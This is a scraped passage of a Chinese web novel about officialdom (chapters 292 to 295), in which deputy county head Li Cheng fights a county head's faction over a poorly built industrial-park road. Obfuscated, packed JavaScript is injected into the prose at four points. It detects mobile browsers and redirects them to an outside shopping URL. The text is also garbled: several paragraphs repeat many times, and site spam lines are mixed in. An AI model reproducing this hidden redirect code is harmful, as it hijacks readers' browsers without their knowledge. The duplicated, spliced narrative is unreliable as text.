听到李承的询问,韩帅神情尴尬。 道路什么质量,他心里清楚得很。 “道路修得很平整,还可以。” 韩帅是半个质量有关的话题不敢提,敷衍地说。 这个回答,让李承恨不得想骂街。 “我在问你质量,你觉得达不达标?”李承质问道。 “这个也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215284|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是达标的。”韩帅额头渗出一沉冷汗,嘴硬地说。 他是总负责人,如果说不达标,那就是直接说明他工作不到位。 “这达的是国家标准,还是你韩主任的标准啊!” 李承眼睛一瞪,声音也拔高了一个调:“你还**的能胡说八道!” 在听到韩帅敢厚脸皮说达标时,李承的愤怒忍不住了,爆了句粗口。 这一刻,李承觉得自己如果不说一句脏话,都无法表明自己有多愤怒。 但他也有度。 他没有就追责陈红胜,对方是陈红旗的亲戚,李承不好点名训斥。 所以,他在用指桑骂槐的方式,打陈红胜的脸! 承微微一笑,朝着沥青路和砂土路的交界处走去:“陈总,韩主任,你们都跟我来一下。” 陈红胜和韩帅相视一眼,他们隐约察觉到李承要做什么,但也只能跟上。 “韩主任,你作为工程基建的总负责人,你来看看,这个道路修得怎么样?” 李承踩在砂土上,他的皮鞋沾染了一个土灰。 听到李承的询问,韩帅神情尴尬。 道路什么质量,他心里清楚得很。 “道路修得很平整,还可以。” 韩帅是半个质量有关的话题不敢提,敷衍地说。 这个回答,让李承恨不得想骂街。 “我在问你质量,你觉得达不达标?”李承质问道。 “这个也是达标的。”韩帅额头渗出一沉冷汗,嘴硬地说。 他是总负责人,如果说不达标,那就是直接说明他工作不到位。 “这达的是国家标准,还是你韩主任的标准啊!” 李承眼睛一瞪,声音也拔高了一个调:“你还**的能胡说八道!” 在听到韩帅敢厚脸皮说达标时,李承的愤怒忍不住了,爆了句粗口。 这一刻,李承觉得自己如果不说一句脏话,都无法表明自己有多愤怒。 但他也有度。 他没有就追责陈红胜,对方是陈红旗的亲戚,李承不好点名训斥。 所以,他在用指桑骂槐的方式,打陈红胜的脸! 承微微一笑,朝着沥青路和砂土路的交界处走去:“陈总,韩主任,你们都跟我来一下。” 陈红胜和韩帅相视一眼,他们隐约察觉到李承要做什么,但也只能跟上。 “韩主任,你作为工程基建的总负责人,你来看看,这个道路修得怎么样?” 李承踩在砂土上,他的皮鞋沾染了一个土灰。 听到李承的询问,韩帅神情尴尬。 道路什么质量,他心里清楚得很。 “道路修得很平整,还可以。” 韩帅是半个质量有关的话题不敢提,敷衍地说。 这个回答,让李承恨不得想骂街。 “我在问你质量,你觉得达不达标?”李承质问道。 “这个也是达标的。”韩帅额头渗出一沉冷汗,嘴硬地说。 他是总负责人,如果说不达标,那就是直接说明他工作不到位。 “这达的是国家标准,还是你韩主任的标准啊!” 李承眼睛一瞪,声音也拔高了一个调:“你还**的能胡说八道!” 在听到韩帅敢厚脸皮说达标时,李承的愤怒忍不住了,爆了句粗口。 这一刻,李承觉得自己如果不说一句脏话,都无法表明自己有多愤怒。 但他也有度。 他没有就追责陈红胜,对方是陈红旗的亲戚,李承不好点名训斥。 所以,他在用指桑骂槐的方式,打陈红胜的脸! 承微微一笑,朝着沥青路和砂土路的交界处走去:“陈总,韩主任,你们都跟我来一下。” 陈红胜和韩帅相视一眼,他们隐约察觉到李承要做什么,但也只能跟上。 “韩主任,你作为工程基建的总负责人,你来看看,这个道路修得怎么样?” 李承踩在砂土上,他的皮鞋沾染了一个土灰。 听到李承的询问,韩帅神情尴尬。 道路什么质量,他心里清楚得很。 “道路修得很平整,还可以。” 韩帅是半个质量有关的话题不敢提,敷衍地说。 这个回答,让李承恨不得想骂街。 “我在问你质量,你觉得达不达标?”李承质问道。 “这个也是达标的。”韩帅额头渗出一沉冷汗,嘴硬地说。 他是总负责人,如果说不达标,那就是直接说明他工作不到位。 “这达的是国家标准,还是你韩主任的标准啊!” 李承眼睛一瞪,声音也拔高了一个调:“你还**的能胡说八道!” 在听到韩帅敢厚脸皮说达标时,李承的愤怒忍不住了,爆了句粗口。 这一刻,李承觉得自己如果不说一句脏话,都无法表明自己有多愤怒。 但他也有度。 他没有就追责陈红胜,对方是陈红旗的亲戚,李承不好点名训斥。 所以,他在用指桑骂槐的方式,打陈红胜的脸! 第292章 训责 “这个质量都能达到你的标准,我看你这个管委会副主任也不要再做了! 给有能力,有标准的同志,让给位置!” 李承毫不留情的训斥着,正所谓新官上任三把火,这第一把火,李承就要烧在韩笑的身上。 他这位管委会主任,想要在管委会树立威信,想让手下人服管,那就要先杀鸡儆猴! 韩笑能纵容陈红胜偷工减料,就证明,他已经和陈红旗,陈红胜同流合污,拿他开刀不冤。 “李县长,我” 被李承严厉训斥,韩笑此时已经汗流浃背。 “李副县长,没有你说的那么严重,你是外行人不懂,这个质量足够用了。” 陈红胜叼着香烟,出言替韩笑解围。 他有陈红旗做背景,心里瞧不上李承这个空降副县长。 在他看来,王革这位县委**都被架空,李承一个县长,算个屁! “呵呵呵” 闻言,李承冷笑一声:“陈总,正因为我是外行,我才要严格按照国家标准来执行。 你这个道路质量,怕是达不到标准吧。” 李承清楚,在修路的问题揪着不放,会得罪陈红旗。 但这没办法。 李承要的,是一条坚固的路。 而对方要的,是从修路上,偷工减料省下来的钱。 这是敌我矛盾! 面对敌我矛盾就要斗争到底。 产业园区如果建设成功,每天要在这条路上行驶的重型货车不计其数。 这条路必须抗压,甚至要超越国家标准的质量去建设。 现在这条路的质量,李承估计,只要每天有重型货车跑,可能一个月都坚持不住,就会烂掉。 “那李副县长你什么意思呀?” 陈红胜弹了弹烟灰,态度骄横地问。 “停工!” 李承认真地盯着陈红胜:“重新质检道路,如果不达标,全部整改!” 李承终究是外行人,他知道不达标,但还需要专业的质检单位进行检测。 等拿到质检报告,再推翻整改,更名正言顺。 “呵呵呵” 韩笑轻蔑地笑了笑,没再讲话。 “小刘,通知一下,四点钟开一个党工委会议,所有副科级以上成员,必须参加。” 李承看了一眼腕表上的时间,刘婷吩咐道。 李承要杀鸡儆猴,树立威信,那就要召开一个大会。 在产业园区管委会中 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 ,党工委**是一把手。 李承这个党委会主任是行政一把手,管委会二把手。 但是,产业园区的党工委**是由**担任,**目前处于停职阶段。 “好的领导。 ‘我的爱如潮水,爱如潮水将我向你推,紧紧跟随,爱如潮水它将你我包围.’ 回到管委会办公室,李承屁股刚坐在办公椅上,手机就响了起来。 他看着来电显示,眉头微微皱起。 这是陈红旗的电话号码,他不想接听。 李承很清楚,对方是来求情的。 “喂,陈县长。李承还是接听了电话。 “李县长,你现在方便吗?来一趟县政府,我有些事情要跟你谈。陈红旗严肃地道。 “我二十分钟后,有一个会议,等会议结束我过去。李承说。 “是党工委会议吧?陈红旗问道。 “嗯。 “会议内容是什么?陈红旗再次追问。 “关于产业园区的建设问题。 李承回答时,心中腹诽一句:什么会议,你陈红旗心里不是很清楚吗? “这个会议推迟到明天再开吧,我是有重要指示向你传达。 陈红旗态度不容置疑。 “嗯那好吧。 李承知道,对方不想让自己开这场批斗会议。 但陈红旗是李承的上级,对方又打着重要指示的旗号,李承不得不去。 挂断电话,李承走出办公室。 他推开隔壁小办公室的门,刘婷正在里面玩着手机,刷着短视频。 在县政府,刘婷这位联络员不配备办公室。 但管委会人员少,有空闲房间,刘婷这才有了自己的秘书室。 她看到李承过来,连忙收起手机,从椅子上站起身:“领导。 “我要回趟县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217197|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 政府,通知下去,会议延迟。李承吩咐道。 “好的领导,延迟多久?刘婷问。 “这个会议,今天一定会召开,让他们做好准备吧。李承道。 杀鸡儆猴,这个鸡,李承一定要杀。 县委县政府已经是陈红旗的一言堂,李承若想干出一番自己的功绩,必须先把管委会牢牢地掌握在自己手里。 否则,他将跟王革沦为一个处境,被架空。 “好的。 刘婷妩媚一笑,准备跟李承一同回县政府。 “你就留在管委会吧。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 身边永远都跟着一个陈红旗的眼线,李承觉得别扭,有一种被监视的感觉。 “我在管委会也没什么事情,我陪您一起吧。”刘婷笑吟吟地说。 “不用。” 李承拒绝了他,朝外走去:“让朱师傅到楼下接我。” “嗯,那好吧。” 出了管委会办公楼,陈红胜的路虎揽胜就停在门口。 “李副县长,你是去县政府吧,我送你呀。” 陈红胜的脸上带着得意之色,他就是在门口等李承。 “谢谢陈总的好意,我有车。”李承皮笑肉不笑地拒绝了他。 “坐我车吧,路上我们一起聊聊天,探讨探讨产业园区的建设。”陈红胜坚持邀请道。 “陈总有什么对建设上的见解,有机会可以到我的办公室里聊。” 李承说完,迈步走向停在路虎揽胜后方的帕萨特。 “呵呵呵李副县长,在风林县,你这点面子都不给我呀?” 陈红胜伸手摸了摸自己的胡茬,冷笑一声。 话语中,隐隐带着威胁之意。 闻言,李承停顿住脚步,目光与陈红胜对视在一起。 李承没有开口讲话,他犀利的目光始终盯着对方,这是一场眼神的交锋。 李承在用眼神告诉对方,园区建设的质量问题上,没有谈判的可能。 直到陈红胜率先回避开目光,李承这才拉开车门,坐进了后排! “李县长,我们去哪?”朱师傅问。 “回县政府。” 第293章 五年质保 县长办公室。 陈红旗坐在椅子上,抽着香烟:“李县长,听说你下午去视察了道路修建,怎么样?” “道路修得很烂,初步估计,存在一定的偷工减料行为,具体还要检测部门去检验。” 李承毫不避讳地说。 “省里批下来的资金有限,两万亩的荒地,建设到今天的地步,已经可以了。 总要给商人留一些利润嘛。” 陈红旗毫不掩饰自己的包庇,几乎是明着说,让李承适可而止。 “是呀,人家做工程的,起早贪黑地干,肯定是要赚钱的。” 李承低头点燃了一根香烟:“省政府在拨款前,做过详细的预算报表,一切按照国家标准建设,承包商仍有足了利润。 但这个承包商,似乎有些贪得无厌了,连我一个外行人都糊弄不过去。” 旗胜是陈红旗的公司,陈红胜只不过是他的白手套。 李承在骂承包商贪得无厌,实际上,也是在指桑骂槐。 “那李县长的意思,是怎么处理这件事?” 陈红旗脸色阴沉,但他也不好发作。 虽说,在旗胜建筑公司的幕后受益人上,大家都心照不宣。 可名义上,陈红旗作为县长,还是要跟旗胜撇清关系。 “先停工,等检测部门结果,如果不达标,全部返工!” 这是李承的底线。 他作为产业园区的管委会主任,就要对园区负责。 “已经建设到了这种程度,返工耽搁的时间太久了,这不利于园区的招商。 再折腾下来,怕是那些企业都找到了其他建厂处。” 陈红旗弹了弹烟灰,摇头拒绝李承的想法。 “道路是基础,如果道路不建好,以后产业落地,那么多货运车辆来回跑,早晚还要出问题。” 李承在这件事上,态度强硬。 “没你说的那么严重,这样,我去联系施工方,给他们施压,让他们再铺一层沥青。” 陈红旗选择退让一步。 他觉得,这已经给足了李承的面子,李承不能再不知好歹。 “等检测报告吧,如果砂石层不合格,就是再铺十层沥青,道路该坏也不耽误。 还有就是地下管网,管网若是也存在偷工减料,那整条路都要重新扒开。” 管网才是修路的重中之重。 道路破烂坎坷,产业的运营还能坚持。 可一旦管网出现问题,产业就要 你的朋友正在书荒,快去帮帮他吧 面临着停工的风险。 “管网的质检是县政府一手抓的李县长若是不信任我支持你去检测。 如果管网也偷工减料那就扒开重建!” 提到管网陈红旗十分有底气表示支持李承。 但紧接着他话锋一转说:“但是道路建设的问题县委县政府一致决定没必要去整改至少不是现在去整改! 产业落地才是当下的重点!” “陈县长我明白你的担忧但是产业落地和道路整改不犯冲。 有规划的逐步区块整改可以避免掉县委县政府的担忧。”李承认真地说。 这个问题李承也考虑过。 只要规划合理将整个园区分为多个片区去整改道路完全可以避免耽搁产业落地。 听完李承的规划陈红旗陷入沉默。 他看得出来李承这是准备不达目的 “李县长你到我们风林县来只是镀金我们县委县政府支持你搞功绩。 也希望你能做出成绩仕途高升。 刚才承包方的老总给我打了电话他保证这条道路差不多可以坚持五年。” 陈红旗知道讲工作层面他聊不过李承。 只好换了一种方式谈起了利益。 他提到的‘五年’是一个非常有内涵的时间。 五年是一个任期的结束。 他保证五年道路不坏就是告诉李承在李承任期之内这条道路不会出现问题不会影响到李承的仕途晋升。 想让李承睁一只眼闭一只眼。 “陈县长您说笑了省里安排我到风林县来不是镀金。” 李承先否决了这个镀金的说法后继续道:“我既然任职了管委会主任那我就要对园区对企业负责。 不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217198|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辜负省市县各位领导对我的信任。 道路存在问题是根本上的问题必须要在企业没落地之前解决。 等企业都落地的想整改都难。” “你没明白我的意思。”陈红旗道。 “陈县长您的意思我可能没懂对于您在县委县政府的工作我会全力支持。” 李承先示好表示不会去动摇陈红旗在县委县政府的‘霸权’。 随后他话锋一转态度坚定:“但是道路问题也希望您能支持我的工作。 或许在我的任职内道路不会出现太大的问题可等我走了之后呢? 我 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 总不能拍拍屁股走后人,给后面的负责人留下一堆烂摊子吧。” 陈红旗的想法,符合李承的个人利益。 只要道路坚持到李承离开风林县,后面出现任何麻烦,也都与李承无关。 可李承不是一个只在意一己私欲,毫无责任心的人。 他要做,就要做好! 就要对党和人民负责! “李县长的思想觉悟很高嘛,呵呵呵.” 陈红旗轻笑一声,继续说:“可往往理想很丰满,现实很骨感呀。” 陈红旗最后一句话,看似是一种调侃,但李承清楚,这是陈红旗表达的态度。 他在告诉李承,他不会支持李承的做法。 “陈县长,您作为风林县的父母官,我觉得,这个理想应该是我们共同的理想。 您是领导,您的思想觉悟,在我之上。” 李承温和地笑道。 陈红旗如果支持李承,这句话就是奉承。 但如果他反对李承,这句话就是一种讽刺! “我们站在的角度不同,但都是为了园区的发展考虑。”陈红旗说。 “哈哈哈,那看来,您和我一样,都对道路建设的疏忽存在不满,只不过是解决方案,可能还存在一定的偏差,对吧?” 李承微微一笑,他在不动声色地给陈红旗挖坑。 “嗯,解决方案上,还是要开大会商量的。” 第294章 政绩工程? 陈红旗所谓的开大会,就是县委**会议。 其实。 管委会属于县政府下属单位,要服从县长的决定。 换做其他人当管委会主任,在整改路面的问题上,陈红旗直接就可以否决掉,连商量的余地都不会给。 但李承不同。 一来,李承不单单是管委会主任,他还是副县长和县委**,性质不同。 他有更大的权力去提意见,争利益。 二来,李承有足够的背景,这是陈红旗最忌惮的地方。 只要李承态度够强硬,陈红旗也不敢强硬地否决。 他否决了,道路的责任,就落在了他的头上。 所以,他要开**会去商量。 **们投票通过后,后续道路出现问题,要追究责任时,那就是县委**的决策失误,而非陈红旗的个人责任。 县委**都是陈红旗的人,开完会议的结果还是一样的。 但他开一个大会,就能避免掉连带风险。 “嗯。” 李承点头,表示赞同**会议解决整改道路问题。 他也清楚,这条路想整改,难! “陈县长,既然您和我一直认为,道路建设在监管上有疏忽。 那这个疏忽,就该有人去负责,我提议,撤掉韩帅管委会副主任一职。”李承道。 李承刚刚的挖坑和铺垫,陈红旗就听了出来。 他故意不在那个话题讨论,就是想敷衍掉。 可现在,李承直接把问题摆在明面上,他略显为难。 韩帅是陈红旗的人,他不想弃掉这枚棋子。 “你是主任,有提议权,怎么决策,都放在常会上讨论吧。”陈红旗继续敷衍道。 “嗯,行。” 李承应了一声,问:“陈县长,您叫我回来,说是有工作部署,您讲。” 陈红旗叫李承回来,就是想聊修路的问题。 但这个,不算什么工作部署。 如果只是这件事,陈红旗就把李承叫回来,耽误李承工作的紧张,有些说不过去。 李承追问,就是想要个说法。 “哦是关于南吴镇的镇委**任命问题,我想问问你的意见。 毕竟你现在也是县委**嘛。” 陈红旗随便找了一个理由,敷衍道。 “我刚到风林县,对于很多情况不了解,您决定就行,我支持您的提议。” 李承卖了陈红旗一个人情。 这话,也就是说得好听一些。 实际上,李承手里的那一票,也改变不了人事任命。 “那行。” 陈红旗微微点头:“没其他事情了,你去忙吧。” 回管委会的路上,李承在思考一个问题。 他想杀鸡敬猴,可刚才试探了陈红旗的态度,对方似乎有意要保护韩帅。 接下来的党工委会议上,李承若是再以杀鸡儆猴的严厉姿态去问责,到最后,韩帅还稳稳坐在副主任的位置上,那么,李承的脸面就丢尽了。 新官上任三把火。 这第一把火,如果烧不着的话,以后手底下的人,就更难服从管教了。 但如果李承想要把这个火烧起来,就需要跟陈红旗做斗争! 当初,在来到风林县之前,李承认为,风林县的局面大概就是县委**和县长的不合。 李承在两方权衡,能够捞到一些好处,慢慢培养自己的新势力。 可到了风林县,李承发现事情比想象的更为严重。 县委**王革基本就是一个空架子,挂着一把手的名,却没有一把手的权。 他被陈红旗的本地派势力碾压得太彻底,哪怕是李承全力支持王革,两个人捆绑在一起,也跟陈红旗有巨大的差距。 妥协? 对修路工程睁一只眼闭一只眼? 只要李承不插手陈红旗的利益,想要拿到他的政绩,把风林县产业园区当作一个跳板,难度会低很多。 可是,李承不想做一个只干政绩工程的人。 为官者,应当以造福一方为己任,而非达到个人目的,对党和人民的利益弃之不顾。 韩帅必须干掉! 哪怕是得罪陈红旗也在所不惜。 既然是敌我关系,那就要斗争到底! 李承心中已经下定了决心:人死鸟朝天,反正他们干不掉我,那我就斗争到底! 五点十分,产业园区党工委会议正式召开。 “这个时间叫大家召开会议,主要是有一件事情。 为了不耽搁大家的下班时间,我也就不说那些弯弯绕绕的话了。” 李承目光环视一圈,继续说:“今天下午,我去视察了产业园区的道路建设情况。 用‘建设垃圾’来形容这条路,我觉得都不为过。 我想问一下韩帅同志,你作为管委会,主管工程基建的副主任,这条路,你是怎么监工呢?” 李承犀利的目光落在韩帅身上。 被李承的目光盯着,韩帅觉得浑身不舒服。 “李县长,路面建设还没有到验工阶段,所以.”韩帅给他的放纵行为,找了一个合适的借口。 “所以,你就疏忽监管?”李承见对方没有继续说下去,毫不留情地追问。 丝毫没有给他半点留情面。 对于李承的质问,韩帅低着头,不作答。 “我看过你的履历,你不是第一次管基建工程,全程监工,任何一道关键工序都要严格审查的流程,你不是不懂! 这个道路还能修成这个样子,就是你的不负责任!是你对党,对人民,对整个产业园区的不负责!” 李承厉声训斥,声如洪钟。 整个办公室内,除了他威严的声音外,一片死寂。 “像你这种不负责任的人,就不应该继续留在这种重要的位置上,我会向县委县政府提议,安排一个适合的人选接替你!” 李承继续训斥,这把火,他必须烧在韩帅的头上。 “李县长,这件事也不能完全怪我”韩帅擦了一把额头上的汗,难为情的想要辩解。 “你作为主管基建工程的领导,不怪你,你觉得是谁的问题?”李承质问。 李承当然知道,韩帅只不过是陈红旗的一个排头兵。 真正的责任在于陈红旗。 可当李承追问起韩帅时,他却半个陈红旗的名字都不敢提起,只能继续低下头,装一个哑巴! 被李承的目光盯着,韩帅觉得浑身不舒服。 “李县长,路面建设还没有到验工阶段,所以.”韩帅给他的放纵行为,找了一个合适的借口。 “所以,你就疏忽监管?”李承见对方没有继续说下去,毫不留情地追问。 丝毫没有给他半点留情面。 对于李承的质问,韩帅低着头,不作答。 “我看过你的履历,你不是第一次管基建工程,全程监工,任何一道关键工序都要严格审查的流程,你不是不懂! 这个道路还能修成这个样子,就是你的不负责任!是你对党,对人民,对整个产业园区的不负责!” 李承厉声训斥,声如洪钟。 整个办公室内,除了他威严的声音外,一片死寂。 “像你这种不负责任的人,就不应该继续留在这种重要的位置上,我会向县委县政府提议,安排一个适合的人选接替你!” 李承继续训斥,这把火,他必须烧在韩帅的头上。 “李县长,这件事也不能完全怪我”韩帅擦了一把额头上的汗,难为情的想要辩解。 “你作为主管基建工程的领导,不怪你,你觉得是谁的问题?”李承质问。 李承当然知道,韩帅只不过是陈红旗的一个排头兵。 真正的责任在于陈红旗。 可当李承追问起韩帅时,他却半个陈红旗的名字都不敢提起,只能继续低下头,装一个哑巴! 被李承的目光盯着,韩帅觉得浑身不舒服。 “李县长,路面建设还没有到验工阶段,所以.”韩帅给他的放纵行为,找了一个合适的借口。 “所以,你就疏忽监管?”李承见对方没有继续说下去,毫不留情地追问。 丝毫没有给他半点留情面。 对于李承的质问,韩帅低着头,不作答。 “我看过你的履历,你不是第一次管基建工程,全程监工,任何一道关键工序都要严格审查的流程,你不是不懂! 这个道路还能修成这个样子,就是你的不负责任!是你对党,对人民,对整个产业园区的不负责!” 李承厉声训斥,声如洪钟。 整个办公室内,除了他威严的声音外,一片死寂。 “像你这种不负责任的人,就不应该继续留在这种重要的位置上,我会向县委县政府提议,安排一个适合的人选接替你!” 李承继续训斥,这把火,他必须烧在韩帅的头上。 “李县长,这件事也不能完全怪我”韩帅擦了一把额头上的汗,难为情的想要辩解。 “你作为主管基建工程的领导,不怪你,你觉得是谁的问题?”李承质问。 李承当然知道,韩帅只不过是陈红旗的一个排头兵。 真正的责任在于陈红旗。 可当李承追问起韩帅时,他却半个陈红旗的名字都不敢提起,只能继续低下头,装一个哑巴! 被李承的目光盯着,韩帅觉得浑身不舒服。 “李县长,路面建设还没有到验工阶段,所以.”韩帅给他的放纵行为,找了一个合适的借口。 “所以,你就疏忽监管?”李承见对方没有继续说下去,毫不留情地追问。 丝毫没有给他半点留情面。 对于李承的质问,韩帅低着头,不作答。 “我看过你的履历,你不是第一次管基建工程,全程监工,任何一道关键工序都要严格审查的流程,你不是不懂! 这个道路还能修成这个样子,就是你的不负责任!是你对党,对人民,对整个产业园区的不负责!” 李承厉声训斥,声如洪钟。 整个办公室内,除了他威严的声音外,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217199|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片死寂。 “像你这种不负责任的人,就不应该继续留在这种重要的位置上,我会向县委县政府提议,安排一个适合的人选接替你!” 李承继续训斥,这把火,他必须烧在韩帅的头上。 “李县长,这件事也不能完全怪我”韩帅擦了一把额头上的汗,难为情的想要辩解。 “你作为主管基建工程的领导,不怪你,你觉得是谁的问题?”李承质问。 李承当然知道,韩帅只不过是陈红旗的一个排头兵。 真正的责任在于陈红旗。 可当李承追问起韩帅时,他却半个陈红旗的名字都不敢提起,只能继续低下头,装一个哑巴! 被李承的目光盯着,韩帅觉得浑身不舒服。 “李县长,路面建设还没有到验工阶段,所以.”韩帅给他的放纵行为,找了一个合适的借口。 “所以,你就疏忽监管?”李承见对方没有继续说下去,毫不留情地追问。 丝毫没有给他半点留情面。 对于李承的质问,韩帅低着头,不作答。 “我看过你的履历,你不是第一次管基建工程,全程监工,任何一道关键工序都要严格审查的流程,你不是不懂! 这个道路还能修成这个样子,就是你的不负责任!是你对党,对人民,对整个产业园区的不负责!” 李承厉声训斥,声如洪钟。 整个办公室内,除了他威严的声音外,一片死寂。 “像你这种不负责任的人,就不应该继续留在这种重要的位置上,我会向县委县政府提议,安排一个适合的人选接替你!” 李承继续训斥,这把火,他必须烧在韩帅的头上。 “李县长,这件事也不能完全怪我”韩帅擦了一把额头上的汗,难为情的想要辩解。 “你作为主管基建工程的领导,不怪你,你觉得是谁的问题?”李承质问。 李承当然知道,韩帅只不过是陈红旗的一个排头兵。 真正的责任在于陈红旗。 可当李承追问起韩帅时,他却半个陈红旗的名字都不敢提起,只能继续低下头,装一个哑巴! 被李承的目光盯着,韩帅觉得浑身不舒服。 “李县长,路面建设还没有到验工阶段,所以.”韩帅给他的放纵行为,找了一个合适的借口。 “所以,你就疏忽监管?”李承见对方没有继续说下去,毫不留情地追问。 丝毫没有给他半点留情面。 对于李承的质问,韩帅低着头,不作答。 “我看过你的履历,你不是第一次管基建工程,全程监工,任何一道关键工序都要严格审查的流程,你不是不懂! 这个道路还能修成这个样子,就是你的不负责任!是你对党,对人民,对整个产业园区的不负责!” 李承厉声训斥,声如洪钟。 整个办公室内,除了他威严的声音外,一片死寂。 “像你这种不负责任的人,就不应该继续留在这种重要的位置上,我会向县委县政府提议,安排一个适合的人选接替你!” 李承继续训斥,这把火,他必须烧在韩帅的头上。 “李县长,这件事也不能完全怪我”韩帅擦了一把额头上的汗,难为情的想要辩解。 “你作为主管基建工程的领导,不怪你,你觉得是谁的问题?”李承质问。 李承当然知道,韩帅只不过是陈红旗的一个排头兵。 真正的责任在于陈红旗。 可当李承追问起韩帅时,他却半个陈红旗的名字都不敢提起,只能继续低下头,装一个哑巴! 被李承的目光盯着,韩帅觉得浑身不舒服。 “李县长,路面建设还没有到验工阶段,所以.”韩帅给他的放纵行为,找了一个合适的借口。 “所以,你就疏忽监管?”李承见对方没有继续说下去,毫不留情地追问。 丝毫没有给他半点留情面。 对于李承的质问,韩帅低着头,不作答。 “我看过你的履历,你不是第一次管基建工程,全程监工,任何一道关键工序都要严格审查的流程,你不是不懂! 这个道路还能修成这个样子,就是你的不负责任!是你对党,对人民,对整个产业园区的不负责!” 李承厉声训斥,声如洪钟。 整个办公室内,除了他威严的声音外,一片死寂。 “像你这种不负责任的人,就不应该继续留在这种重要的位置上,我会向县委县政府提议,安排一个适合的人选接替你!” 李承继续训斥,这把火,他必须烧在韩帅的头上。 “李县长,这件事也不能完全怪我”韩帅擦了一把额头上的汗,难为情的想要辩解。 “你作为主管基建工程的领导,不怪你,你觉得是谁的问题?”李承质问。 李承当然知道,韩帅只不过是陈红旗的一个排头兵。 真正的责任在于陈红旗。 可当李承追问起韩帅时,他却半个陈红旗的名字都不敢提起,只能继续低下头,装一个哑巴! 第295章 见林青 “李县长,道路修成这个样子,是林青县长的授意,韩主任也是没办法。” 这时,常务副主任田鑫开口替韩帅解围,他看向韩帅,道:“韩主任,到这个时候,你就跟李县长实话实说吧。” “唉...确实是林县长的纵容,我是真没办法。” 韩帅抬起头,无奈地叹了口气。 道路修成这样,跟林青半点关系都没有。 但现在,林青正在接受纪委的调查,大概率没机会洗脱罪名。 把责任全撇到林青身上,最好的推责方式。 李承看着两人一唱一和,表情依旧严肃。 通过这场会议,他也要看看,在这管委会里,哪些是陈红旗的人。 “道路是产业园区的根基,路不好,产业园区的发展,迟早要被拖垮。 无论是谁的授意,负责基建工程的副主任,都难辞其咎! 我不是刻意地针对谁,我今天也把话放在这里,谁在建设产业园区的问题给我添麻烦,谁就是我的敌人,无一例外!” 李承不容置疑地表明自己的态度后,吩咐道:“接下来,有两件事情我要进行工作部署。 一,立即对修建道路进行的停工。 二,检测部门进入,对地下管网,道路建设,进行一次彻底的检验。 相关负责人,务必尽快落实,散会!” 会议结束,公车将李承送回了他的宿舍。 刘婷也跟着李承一同下了车。 “领导,你晚上有约吗?”刘婷眨着大眼睛,问。 “没有,怎么了?” 晚上他约了林青见面,但刘婷是陈红旗的眼线,要对她保密。 “那你想吃什么,我给你做饭,我做饭很好吃的。”刘婷体贴地询问道。 “不用,下班了你就回去休息。”李承拒绝了她。 刘婷只是一个联络员,却想充当起李承的工作秘书和生活秘书。 这是陈红旗的吩咐。 李承不喜欢这种被监视的感觉,恨不得离她远远的。 自然不会接受她的‘好意’。 “没关系,反正我也没男朋友,回家也是一个人刷手机,刚好还能跟领导做个伴,多学习一下工作经验。” 刘婷莞尔一笑,继续坚持着。 “不了,要是让我女朋友知道,她会生气的,我可惹不起这个麻烦。” 李承摆了摆手,拿许梦当做挡箭牌。 “女朋友愿意查岗,确实很麻烦,男人嘛,都需要自由,这一点是她的不对,如果您是我的男朋友,只要....” 刘婷滔滔不绝地想要通过贬低许梦,来抬高自己。 可她完全没认清楚自己的身份。 李承可以说许梦麻烦,那是玩笑,也是一种宠溺。 但她刘婷没资格说。 刘婷的话还没说完,李承的脸色就冷了下来,出言打断了她:“好了,你回去吧。” 丢下这句话,李承迈步离开,不再理会刘婷。 刘婷站在原地,她察觉到李承不悦的态度,也意识到自己说错了话。 领导已经严肃拒绝了她,刘婷也不好继续厚着脸皮跟上,转身离开了。 李承买了些水果,便打了一台车,按照林青给他的地址,赶了过去。 “李处长。” 进入房门,林青给李承递来拖鞋。 